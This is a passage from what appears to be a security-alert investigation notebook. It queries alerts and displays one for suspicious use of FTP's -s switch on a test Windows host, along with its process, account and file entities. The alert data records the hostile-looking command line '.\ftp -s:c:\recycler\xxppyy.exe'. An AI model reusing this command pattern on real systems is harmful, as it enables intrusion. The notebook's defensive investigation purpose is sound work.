2019-01-15 05:15:25 2019-01-15 17:15:23 \n", "12 2019-01-15 05:15:20 2019-01-15 17:15:19 \n", "13 2019-01-15 05:15:20 2019-01-15 17:15:23 \n", "14 2019-01-15 05:15:25 2019-01-15 17:15:23 \n", "15 2019-01-15 05:15:25 2019-01-15 17:15:23 \n", "16 2019-01-15 05:15:25 2019-01-15 17:15:23 \n", "17 2019-01-15 05:15:15 2019-01-15 17:15:17 \n", "18 2019-01-15 05:15:20 2019-01-15 17:15:19 \n", "19 2019-01-15 05:15:14 2019-01-15 17:15:15 " ] }, "execution_count": 27, "metadata": {}, "output_type": "execute_result" } ], "source": [ "alert_counts = qry.list_alerts_counts(provs=[alert_q_times])\n", "alert_list = qry.list_alerts(provs=[alert_q_times])\n", "print(len(alert_counts), ' distinct alert types')\n", "print(len(alert_list), ' distinct alerts')\n", "display(HTML('

Alert Timeline

'))\n", "nbdisp.display_timeline(data=alert_list, source_columns = ['AlertName', 'CompromisedEntity'], title='Alerts', height=200)\n", "display(HTML('

Top alerts

'))\n", "alert_counts.head(20) # remove '.head(20)'' to see the full list grouped by AlertName" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Choose Alert to Investigate\n", "Either pick an alert from a list of retrieved alerts or paste the SystemAlertId into the text box in the following section." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Select alert from list\n", "As you select an alert, the main properties will be shown below the list.\n", "\n", "Use the filter box to narrow down your search to any substring in the AlertName." ] }, { "cell_type": "code", "execution_count": 28, "metadata": { "scrolled": false }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "9ee89ed79e1944538aa2d8dc294d2654", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "alert_select = asi.AlertSelector(alerts=alert_list, action=nbdisp.display_alert)\n", "alert_select.display()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Or paste in an alert ID and fetch it\n", "**Skip this if you selected from the above list**" ] }, { "cell_type": "code", "execution_count": 29, "metadata": { "scrolled": false }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "fcd6beb8f5094f44be0b7b7f678f6fb5", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(Text(value='', description='SystemAlertId for alert :', layout=Layout(width='50%'), placeholder…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Allow alert to be selected\n", "# Allow subscription to be selected\n", "get_alert = asi.GetSingleAlert(action=nbdisp.display_alert)\n", "get_alert.display()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "## Extract properties and entities from Alert\n", "This section extracts the alert information and entities into a SecurityAlert object allowing us to query the properties more reliably. \n", "\n", "In particular, we use the alert to automatically provide parameters for queries and UI elements.\n", "Subsequent queries will use properties like the host name and derived properties such as the OS family (Linux or Windows) to adapt the query. Query time selectors like the one above will also default to an origin time that matches the alert selected.\n", "\n", "The alert view below shows all of the main properties of the alert plus the extended property dictionary (if any) and JSON representations of the Entity." ] }, { "cell_type": "code", "execution_count": 30, "metadata": { "scrolled": true }, "outputs": [ { "data": { "text/html": [ "\n", "

Alert: 'Detected suspicious use of FTP -s Switch'


time=2019-01-15 05:15:15, entity=MSTICALERTSWIN1, id=2518547714843218505_265472ff-3820-4dad-8da7-00e39e1a99fd\n", "
\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
101
TenantId802d39e1-9d70-404d-832c-2de5e2478eda
StartTimeUtc2019-01-15 05:15:15
EndTimeUtc2019-01-15 05:15:15
ProviderAlertId265472ff-3820-4dad-8da7-00e39e1a99fd
SystemAlertId2518547714843218505_265472ff-3820-4dad-8da7-00e39e1a99fd
ProviderNameDetection
VendorNameMicrosoft
AlertTypeDetected suspicious use of FTP -s Switch
AlertNameDetected suspicious use of FTP -s Switch
AlertDisplayNameDetected suspicious use of FTP -s Switch
DescriptionAnalysis of process creation data from the MSTICALERTSWIN1 detected the use of FTP's \"-s:filenam...
SeverityMedium
IsIncidentFalse
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...
ConfidenceLevelUnknown
ConfidenceScoreNaN
ExtendedLinks
WorkspaceSubscriptionId3c1bb38c-82e3-4f8d-a115-a7110ba70d05
WorkspaceResourceGroupcontoso77
TimeGenerated2019-01-15 05:15:20
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...
SourceComputerId46fe7078-61bb-4bed-9430-7ac01d91c273
CompromisedEntityMSTICALERTSWIN1

ExtendedProperties:

\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
0
Compromised HostMSTICALERTSWIN1
User NameMSTICALERTSWIN1\\MSTICAdmin
Account Session Id0xfaac27
Suspicious Processc:\\diagnostics\\usertmp\\ftp.exe
Suspicious Command Line.\\ftp -s:c:\\recycler\\xxppyy.exe
Parent Processc:\\windows\\system32\\cmd.exe
Suspicious Process Id0x1580
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entity counts:

host: 1, file: 2, process: 2, account: 1, hostlogonsession: 1" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "{ 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'}\n", "{ 'Directory': 'c:\\\\windows\\\\system32',\n", " 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',\n", " 'Name': 'cmd.exe',\n", " 'Type': 'file'}\n", "{ 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'ImageFile': { 'Directory': 'c:\\\\windows\\\\system32',\n", " 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',\n", " 'Name': 'cmd.exe',\n", " 'Type': 'file'},\n", " 'ProcessId': '0xbc8',\n", " 'Type': 'process'}\n", "{ 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'LogonId': '0xfaac27',\n", " 'NTDomain': 'MSTICAlertsWin1',\n", " 'Name': 'MSTICAdmin',\n", " 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',\n", " 'Type': 'account'}\n", "{ 'Directory': 'c:\\\\diagnostics\\\\usertmp',\n", " 'FullPath': 'c:\\\\diagnostics\\\\usertmp\\\\ftp.exe',\n", " 'Name': 'ftp.exe',\n", " 'Type': 'file'}\n", "{ 'Account': { 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'LogonId': '0xfaac27',\n", " 'NTDomain': 'MSTICAlertsWin1',\n", " 'Name': 'MSTICAdmin',\n", " 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',\n", " 'Type': 'account'},\n", " 'CommandLine': '.\\\\ftp -s:c:\\\\recycler\\\\xxppyy.exe',\n", " 'CreationTimeUtc': '2019-01-15T05:15:15.6781494Z',\n", " 'ElevationToken': 'Default',\n", " 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'ImageFile': { 'Directory': 'c:\\\\diagnostics\\\\usertmp',\n", " 'FullPath': 'c:\\\\diagnostics\\\\usertmp\\\\ftp.exe',\n", " 'Name': 'ftp.exe',\n", " 'Type': 'file'},\n", " 'ParentProcess': { 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'ImageFile': { 'Directory': 'c:\\\\windows\\\\system32',\n", " 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',\n", " 'Name': 'cmd.exe',\n", " 'Type': 'file'},\n", " 'ProcessId': '0xbc8',\n", " 'Type': 'process'},\n", " 'ProcessId': '0x1580',\n", " 'Type': 'process'}\n", "{ 'Account': { 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'LogonId': '0xfaac27',\n", " 'NTDomain': 'MSTICAlertsWin1',\n", " 'Name': 'MSTICAdmin',\n", " 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',\n", " 'Type': 'account'},\n", " 'EndTimeUtc': '2019-01-15T05:15:15.6781494Z',\n", " 'Host': { 'HostName': 'MSTICALERTSWIN1',\n", " 'NetBiosName': 'MSTICALERTSWIN1',\n", " 'OSFamily': 'Windows',\n", " 'Type': 'host'},\n", " 'SessionId': '0xfaac27',\n", " 'StartTimeUtc': '2019-01-15T05:15:15.6781494Z',\n", " 'Type': 'hostlogonsession'}\n" ] } ], "source": [ "# Extract entities and properties into a SecurityAlert class\n", "if alert_select.selected_alert is None:\n", " sys.exit(\"Please select an alert before executing remaining cells.\")\n", "\n", "security_alert = asi.SecurityAlert(alert_select.selected_alert)\n", "asi.disp.display_alert(security_alert, show_entities=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "## Entity Graph\n", "Depending on the type of alert there may be one or more entities attached as properties. Entities are things like Host, Account, IpAddress, Process, etc. - essentially the 'nouns' of security investigation. Events and alerts are the things that link them in actions so can be thought of as the verbs. Entities are often related to other entities - for example a process will usually have a related file entity (the process image) and an Account entity (the context in which the process was running). Endpoint alerts typically always have a host entity (which could be a physical or virtual machine)." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Plot using Networkx/Matplotlib" ] }, { "cell_type": "code", "execution_count": 31, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "C:\\Users\\Ian\\Anaconda3\\lib\\site-packages\\networkx\\drawing\\nx_pylab.py:611: MatplotlibDeprecationWarning:\n", "\n", "isinstance(..., numbers.Number)\n", "\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3gAAANXCAYAAABnlP2tAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDMuMC4yLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvOIA7rQAAIABJREFUeJzs3XeUFFXeh/GnJw8MOYsEFW0EFFEUhqAIooKCiIAYEARElHVXVn3NqCgLgoqKLgZADOQgq65pDQiSTJhlEJWc4wwwufv9A52VJQgSmmmezzmeM111q+rXXZdxvn3rVgXC4TCSJEmSpMIvJtIFSJIkSZIODgOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRYm4A91BMBgsDswGLk5LS1v8P+vuA7oDm35d9HxaWtrTB3pMSZIkSdKuDijgBYPBBsDzwEl7aFIf6JyWljbnQI4jSZIkSfpjBzqCdx3QB3h5D+vrA3cFg8FqwAzg1rS0tKx92G8icCawCsg/wBolSZIkqbCJBSoBnwLZ+7rRAQW8tLS0ngDBYHCXdcFgMAWYD9wGLAJGA/cCd+/Drs8EZh5IbZIkSZIUBZoCH+9r4wOeg7cnaWlpW4HWv70OBoOPAqPYt4C3CmDTpm2EQuFDU2AhU6ZMChs2bI10GTrK2O90uNnnFAn2Ox1u9jnti5iYAKVKFYVfs9G+OmQBLxgMVgXOS0tLG/XrogCQu4+b5wOEQmED3u/4WSgS7Hc63OxzigT7nQ43+5z2w35NWTtkAQ/IBAYHg8EPgcXsmKv36iE8niRJkiQd1Q76c/CCweCbwWCwflpa2jrgeuB1II0dI3iPHuzjSZIkSZJ2OCgjeGlpadV/93Pr3/08BZhyMI4hSZIkSdq7gz6CJ0mSJEmKDAOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkDniRJkiRFCQOeJEmSJEUJA54kSZIkRQkD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